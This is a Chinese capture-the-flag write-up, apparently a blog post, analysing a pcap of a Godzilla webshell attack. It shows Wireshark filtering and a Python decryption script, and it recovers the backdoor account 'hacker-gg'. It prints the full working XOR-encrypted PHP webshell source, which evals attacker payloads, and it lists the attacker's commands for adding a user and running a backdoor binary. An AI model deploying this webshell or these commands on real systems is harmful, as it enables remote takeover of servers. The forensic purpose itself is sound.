2026.7.27(1)【流量分析】2026CCF-系统后门用户分析

📌 题目信息

项目内容
题目名称2026CCF-系统后门用户分析
题目来源玄机靶场
题目类型应急响应 / 流量分析
子分类Webshell 分析 / Linux 后门排查
考点Wireshark 流量过滤、HTTP 协议分析、文件上传分析、Webshell 代码审计
难度⭐⭐
最终 Flagflag{hacker-gg}

🛠️ 使用工具

  • Wireshark/Tshark:核心流量分析工具,用于打开 流量分析.pcapng 并追踪 TCP 流。
  • Python :用于还原 Webshell 中的异或加密逻辑,解密攻击者发送的命令。

📝 解题思路

拿到题目仅有一个 流量分析.pcapng 文件,意味着我们只能通过“看”网络流量来还原攻击者的行为。我们需要从零开始,像一个完全不知道攻击者做了什么的安全分析师一样,一步步筛选、追踪、解码,最终找到攻击者添加的后门用户名。

第 1 步:宏观分析——查看整体流量构成

打开 Wireshark 后,我们面对成百上千个数据包,不能漫无目的地乱翻。首先要做的是“鸟瞰”全局。
操作:点击顶部菜单栏的 统计 (Statistics) -> 协议分级 (Protocol Hierarchy)

结果分析:在弹出的窗口中,我们发现 HTTP 协议占据了极大的比重(按字节约 32%,按数据包数量约 35%)。同时,Line-based text data(HTTP 载荷明文)和 HTML Form URL Encoded(表单提交数据)的出现,表明攻击者很可能通过 Web 应用 发起了攻击。SSH、Telnet 等其他远程管理协议几乎未见踪迹,因此 Web 流量 就是我们排查的重中之重。

接着,通过Wireshark中的统计-会话功能,看到主要通信集中在Tcp通信中,其中8022端口的流量比较多。

💡 这一步的目的是锁定“主战场”。如果不先做统计,很容易在加密的 TCP 垃圾包或正常的广播包中浪费大量时间。

第 2 步:筛选请求——定位攻击者的操作入口

使用wireshark筛选出8022端口的通信,同时查看成功通信的数据,可以发现攻击者在做目录扫描探测。

tcp.port==8022 && tcp contains "200"


上面都是GET方法,如果攻击者向服务器提交数据(如上传文件、执行命令),则通常使用 HTTPPOST 方法,因此过滤POST方法。

操作:在 Wireshark 顶部的“显示过滤器”栏中输入以下过滤表达式并回车:

http.request.method == "POST"


结果:过滤后,数据包数量大幅减少。观察过滤后的列表,我们发现了两个关键的目标 IP 和路径:

  1. 路径 /upload.php(这看起来像一个文件上传页面,很可能是攻击入口)。
  2. 路径 /uploads/php_68525da04b2c37.31016234.phpuploads 目录下的动态 PHP 文件,很像是上传成功后生成的木马文件)。

第 3 步:分析第一个 POST 请求——提取 Webshell 木马源码

我们查看第一个/upload.php 相关的数据包的详细内容。

操作:右键点击该数据包 -> 追踪流 (Follow) -> TCP 流 (TCP Stream)。Wireshark 会还原这次 HTTP 请求和响应的完整原始数据。

发现:在 TCP 流窗口中,我们看到了一个标准的文件上传请求。攻击者上传了一个名为 upload.php 的文件。文件内容是一段 PHP 代码(已加注释):

<?php
// ================== 环境初始化 ==================
@session_start();           // 开启会话,用于存储payload
@set_time_limit(0);         // 无执行超时
@error_reporting(0);        // 关闭错误显示

// ================== XOR加密/解密函数 ==================
function encode($D, $K) {
    for ($i = 0; $i < strlen($D); $i++) {
        $c = $K[$i + 1 & 15];           // 从16字节密钥中循环取字符
        $D[$i] = $D[$i] ^ $c;           // 逐字节异或
    }
    return $D;
}

// ================== 通信参数 ==================
$pass = 'gg';               // POST参数名
$payloadName = 'payload';   // Session键名
$key = '3c6e0b8a9c15224a';  // 16字节密钥(哥斯拉默认)

// ================== 核心逻辑 ==================
if (isset($_POST[$pass])) {
    // 先Base64解码,再XOR解密
    $data = encode(base64_decode($_POST[$pass]), $key);
    if (isset($_SESSION[$payloadName])) {
        // 非首次请求:取出payload并解密
        $payload = encode($_SESSION[$payloadName], $key);
        // 检查是否含"getBasicsInfo",若无则再次加密
        if (strpos($payload, "getBasicsInfo") === false) {
            $payload = encode($payload, $key);
        }
        eval($payload);                 // 执行恶意代码
        // 返回:MD5校验头 + 加密结果 + MD5校验尾
        echo substr(md5($pass . $key), 0, 16);
        echo base64_encode(encode(@run($data), $key));
        echo substr(md5($pass . $key), 16);
    } else {
        // 首次请求:若包含"getBasicsInfo",存入Session
        if (strpos($data, "getBasicsInfo") !== false) {
            $_SESSION[$payloadName] = encode($data, $key);
        }
    }
}

⚠️注意

  • 加密方式:单一 encode() 做逐字节 XOR,密钥 $key、参数 $pass、会话 $payloadName 三件套写死
  • 分流标记:用字符串 getBasicsInfo 判断"首次初始化 / 执行命令"
  • 回显格式:响应为 md5前16位 + base64(encode(结果,key)) + md5后16位
  • 代码风格:单文件、@抑制报错、set_time_limit(0) 免超时

以上特征组合(尤以 $pass/$key/$payloadName 结构 + getBasicsInfo 标记 + md5 回显)是 Godzilla 加密马的典型指纹,据此判定攻击工具为哥斯拉。

第 4 步:追踪木马交互流量——捕获加密指令

我们回到过滤列表,查看针对木马文件 php_68525da04b2c37.31016234.php 的 POST 请求。
操作:点击过滤出的第二个关键路径(木马文件)的数据包,再次 右键 -> 追踪流 -> TCP 流

这一大段 gg=... 是 Godzilla 客户端在"发送命令之前发送的加密脚本(前置脚本),里面是一大坨 Godzilla 的 "exploit 框架代码" + 待执行的命令(php 代码),不是普通的一句话木马。它的组成部分大致是:

  1. 框架初始化代码run()formatParameter()getBasicInfo() 等函数定义)—— 这是 Godzilla 自带的执行环境
  2. 要执行的命令(比如 whoaminet user hacker-gg /add 等,嵌在参数区)
  3. 会话密钥/标记(用于和服务端握手、后续响应加密)**

前面都是Godzilla在执行命令前的前置脚本,所以我们在后面一点(实际是1904帧及之后)右键 -> 追踪流 -> TCP 流。可以发现攻击者执行的一条一条的命令(经过加密)。

第 5 步:解密攻击指令——还原真实命令

使用下面的python代码解密攻击指令(因为已经知道upload.php的内容,据此可以写出解密脚本)。需要注意的是由于webshell不是单一流,而是很多个不同的TCP流(230~244),因此需要提取不同的TCP流。

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import subprocess, base64, urllib.parse, gzip, sys

#这里要根据你自己的路径修改!!!
#这里要根据你自己的路径修改!!!
TSHARK = r"F:\Wireshark\tshark.exe"
PCAP   = r"D:\Google浏览器下载\流量分析.pcapng"

KEY    = b"3c6e0b8a9c15224a"          # Godzilla 密钥,ASCII 16字节
WEBSHELL = "/uploads/php_68525da04b2c37.31016234.php"   # 过滤 webshell 路径
def run_tshark(display_filter, fields):
    """调用 tshark,返回字段列表(逐行)。"""
    cmd = [TSHARK, "-r", PCAP, "-Y", display_filter, "-T", "fields"]
    for f in fields:
        cmd += ["-e", f]
    out = subprocess.run(cmd, capture_output=True, text=True, encoding="utf-8", errors="replace").stdout
    return [ln.strip() for ln in out.splitlines() if ln.strip()]
def php_xor(data: bytes) -> bytes:
    return bytes(b ^ KEY[(i + 1) & 15] for i, b in enumerate(data))
def get_post_body(frame: int) -> bytes:
    hx = run_tshark(f"frame.number=={frame}", ["http.file_data"])
    if not hx:
        return b""
    hexstr = hx[0]
    return bytes.fromhex(hexstr)
def decrypt(frame: int):
    body = get_post_body(frame)
    if not body:
        return None
    s = body.decode("latin1")
    idx = s.find("gg=")
    if idx < 0:
        return None
    val = s[idx + 3:].split("&")[0]
    val = urllib.parse.unquote(val).strip()
    try:
        cipher = base64.b64decode(val)
    except Exception:
        return None
    plain = php_xor(cipher)
    # 尝试 gzip
    try:
        txt = gzip.decompress(plain).decode("utf-8", "replace")
    except Exception:
        txt = plain.decode("utf-8", "replace")
    return txt
def extract_cmd(text: str) -> str:
    """从 Godzilla 载荷里提取命令。"""
    # 优先 cmdLine
    i = text.find("cmdLine")
    if i >= 0:
        seg = text[i + 7:]
        # 去掉二进制长度前缀等不可见字符,保留可打印
        printable = "".join(ch for ch in seg if ch.isprintable())
        return "命令: " + printable[:300]
    # 其次 methodName
    i = text.find("methodName")
    if i >= 0:
        seg = text[i + 10:]
        printable = "".join(ch for ch in seg if ch.isprintable())
        return "方法: " + printable[:80]
    # 最后 raw 前 150 字符
    printable = "".join(ch for ch in text if ch.isprintable())
    return "内容: " + printable[:150]
def main():
    # 取所有 webshell POST 帧号(webshell不是单一流,而是很多个不同的TCP流(230~244))
    frames = []                                   # 1. 建一个空列表,准备存帧号
    for line in run_tshark(
        'http.request.method==POST',              # 2. 过滤条件:只要POST请求
        ["frame.number", "tcp.stream", "http.request.uri"]  # 3. 每行取这3个字段
    ):
        parts = line.split()                      # 4. 把一行按空格拆成 [帧号, 流号, URI]
        if len(parts) >= 3 and WEBSHELL in parts[2]:  # 5. 判断:URI 里是否含 webshell 路径
            frames.append(int(parts[0]))          # 6. 是 → 把帧号存进列表
    frames = sorted(set(frames))
    if not frames:
        print("未找到 webshell POST 帧,检查路径/过滤条件")
        return
    print(f"共 {len(frames)} 个 webshell POST 帧,开始解密...\n")
    for fr in frames:
        txt = decrypt(fr)
        if txt is None:
            print(f"===== 帧 {fr} =====  (无 gg 或解码失败)")
            print()
            continue
        print(f"===== 帧 {fr} =====")
        print(extract_cmd(txt))
        print()
if __name__ == "__main__":
    main()

逐帧解密后,得到攻击者执行的完整命令:

帧号流号方法/命令说明阶段
1791230初始化脚本主体(putenv/execCommand 框架)注入 Godzilla 执行环境①初始化/握手
1807230test连接测试①初始化/握手
1812230g_close关闭会话①初始化/握手
1871231初始化脚本主体新连接,重新注入环境①初始化/握手
1886231test连接测试①初始化/握手
1891231getBasicsInfo获取系统基础信息①初始化/握手
1904232whoami确认当前用户 ayy②权限探测
1909232net user查看现有账户②权限探测
1914232ls列目录(Windows 下无效)③目录枚举
1919232dir列目录③目录枚举
1934233net user hacker-gg /add创建后门用户 hacker-gg④创建后门账户 ⭐
1939233net user复查账户,确认 hacker-gg 已存在④创建后门账户 ⭐
1953234getFiledirName uploads/浏览 uploads 目录⑤文件浏览
1965235getFiledirName WWW/浏览网站根目录⑤文件浏览
2033236uploadFile → back.exe上传后门程序(73802 字节)⑥上传后门
2049236getFiledirName WWW/确认文件落地⑥上传后门
2061237tasklist查看进程⑦侦查
2077238netstat -an查看网络连接/端口⑦侦查
2090239../back.exe运行 back.exe⑧执行后门
2095239tasklist确认进程⑧执行后门
2110240echo DKM9Pw && cd && echo kIznPU路径确认(标记命令)⑧执行后门
2124240back.exe(WWW 目录)再运行后门⑧执行后门
2146243getFiledirName WWW/目录复查⑨收尾确认
2158244tasklist(WWW 目录)确认后门进程存活⑨收尾确认

🏁 最终 Flag

题目说攻击者添加的后门用户名作为flag,则flag为hacker-gg。

flag{hacker-gg}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值